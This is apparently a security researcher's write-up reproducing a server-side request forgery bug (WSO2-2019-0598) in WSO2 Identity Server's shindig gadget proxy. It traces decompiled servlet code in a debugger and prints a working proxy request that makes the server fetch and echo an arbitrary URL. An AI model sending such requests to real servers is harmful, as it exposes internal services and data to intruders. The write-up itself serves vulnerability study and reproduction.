Post

Wso2 Proxy Ssrf Vulnerability Wso2 2019 0598

Wso2 Proxy Ssrf Vulnerability Wso2 2019 0598

WSO2 proxy SSRF vulnerability WSO2-2019-0598

Vulnerability Description

Abusing the UI widget loading feature of shindig web applications can exploit this vulnerability.

Vulnerability Impact

WSO2 Identity Server 5.2.0 , 5.3.0 , 5.4.0 , 5.4.1 , 5.5.0 , 5.6.0 , 5.7.0

WSO2 IS as Key Manager 5.3.0 , 5.5.0 , 5.6.0 , 5.7.0

Environment construction

https://github.com/wso2/product-is/releases/download/v5.6.0-rc3/wso2is-5.6.0-rc3.zip

Vulnerability reappears

According to the official description, the main reason for the vulnerability is the loading function of the UI widget of the shindig web application, WSO2-2019-0598

img

Download the source code to start the environment, debug in IDEA,

img

img

According to the official description, search globally for shindig related code

img

Set a breakpoint and take a look at the code calling process when accessing the /shindig/gadgets/js path

img

You can see that when accessing this path, the doGet method under the corresponding Servlet is called to process (org.apache.shindig.gadgets.servlet.JsServlet.doGet(JsServlet.java:86)

img

We can find the corresponding call method in the file conf/shindig/web.xml img

Seeing this we noticed that org.apache.shindig.gadgets.servlet.MakeRequestServlet seems to be very similar to the vulnerability points in Jira Unauthorized SSRF vulnerability (CVE-2019-8451)

img

However, during the debugging of the breakpoint, it was found that this point failed to use.

img

img

I had to go and check out the other Servlets, and finally we noticed ProxyServlet

img

Send a request packet, breakpoint to see the processing process

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /shindig/gadgets/proxy?container=default&url=https://www.baidu.com HTTP/1.1
Host: localhost:9443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

Receive parameters through the doGet method under org.apache.shindig.gadgets.servlet.ProxyServlet and pass in processRequest

middle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
private void processRequest(HttpServletRequest request, HttpServletResponse servletResponse) throws IOException {
        if (request.getHeader("If-Modified-Since") != null) {
            servletResponse.setStatus(304);
        } else {
            Uri reqUri = (new UriBuilder(request)).toUri();

            HttpResponse response;
            try {
                ProxyUri proxyUri = this.proxyUriManager.process(reqUri);
                SecurityToken st = AuthInfoUtil.getSecurityTokenFromRequest(request);
                proxyUri.setSecurityToken(st);
                proxyUri.setUserAgent(request.getHeader("User-Agent"));
                if (proxyUri.getGadget() == null && st != null && !st.isAnonymous()) {
                    proxyUri.setGadget(st.getAppUrl());
                }

                AuthType authType = proxyUri.getAuthType();
                if (AuthType.OAUTH.equals(authType)) {
                    proxyUri.setOAuthArguments(new OAuthArguments(AuthType.OAUTH, request));
                } else if (AuthType.OAUTH2.equals(authType)) {
                    proxyUri.setOAuth2Arguments(new OAuth2Arguments(request));
                }

                String host = request.getHeader("Host");
                if (!this.lockedDomainService.isSafeForOpenProxy(host)) {
                    Uri resourceUri = proxyUri.getResource();
                    String msg = "Embed request for url " + (resourceUri != null ? resourceUri.toString() : "n/a") + " made to wrong domain " + host;
                    if (LOG.isLoggable(Level.INFO)) {
                        LOG.logp(Level.INFO, classname, "processRequest", "embededImgWrongDomain", new Object[]{resourceUri != null ? resourceUri.toString() : "n/a", host});
                    }

                    throw new GadgetException(Code.INVALID_PARAMETER, msg, 400);
                }

                if ("POST".equalsIgnoreCase(request.getMethod())) {
                    StringBuffer buffer = this.getPOSTContent(request);
                    response = this.proxyHandler.fetch(proxyUri, buffer.toString());
                } else {
                    response = this.proxyHandler.fetch(proxyUri);
                }
            } catch (GadgetException var11) {
                response = ServletUtil.errorResponse(new GadgetException(var11.getCode(), var11.getMessage(), 400));
            }

            ServletUtil.copyToServletResponseAndOverrideCacheHeaders(response, servletResponse);
        }
    }

Follow down to org.apache.shindig.gadgets.servlet.ProxyHandler

img

org.apache.shindig.gadgets.servlet.ProxyHandler.fatch

img

Then go down to see the buildHttpRequest method under org.apache.shindig.gadgets.servlet.ProxyHandler creates an Http request, and the target is the URL parameter we just passed in.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 private HttpRequest buildHttpRequest(ProxyUri uriCtx, Uri tgt, @Nullable String postBody) throws GadgetException, IOException {
        ServletUtil.validateUrl(tgt);
        HttpRequest req = uriCtx.makeHttpRequest(tgt);
        req.setRewriteMimeType(uriCtx.getRewriteMimeType());
        if (postBody != null) {
            req.setMethod("POST");
            req.setPostBody(new ByteArrayInputStream(postBody.getBytes()));
        }

        if (req.getHeader("User-Agent") == null) {
            String userAgent = uriCtx.getUserAgent();
            if (userAgent != null) {
                req.setHeader("User-Agent", userAgent);
            }
        }

        return req;
    }

img

img

Finally echoing to the page, resulting in an echoing SSRF

imgimg

This post is licensed under CC BY 4.0 by the author.